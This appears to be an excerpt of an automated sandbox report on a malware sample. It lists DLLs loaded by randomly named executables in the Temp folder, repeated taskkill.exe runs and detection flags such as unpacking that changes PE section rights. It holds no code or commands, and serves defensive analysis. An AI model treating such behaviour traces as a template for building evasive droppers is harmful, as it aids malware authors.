Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000779001\num.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000779001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000779001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000779001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000779001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000779001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000779001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000779001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000779001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000779001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000779001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000779001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000779001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000779001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000779001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000779001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000779001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000779001\num.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000779001\num.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\NIAQ8UCODLSD9YO1XILDARKL3P17TR3.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\NIAQ8UCODLSD9YO1XILDARKL3P17TR3.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\NIAQ8UCODLSD9YO1XILDARKL3P17TR3.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\NIAQ8UCODLSD9YO1XILDARKL3P17TR3.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000779001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000779001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000779001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000779001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000779001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000779001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000779001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000779001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000779001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000779001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000779001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000779001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000779001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000779001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000779001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000779001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000779001\num.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000779001\num.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll

Source: C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 3008000 > 1048576

Source: file.exe

Static PE information: Raw size of qpjfxxrc is bigger than: 0x100000 < 0x2b4e00

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

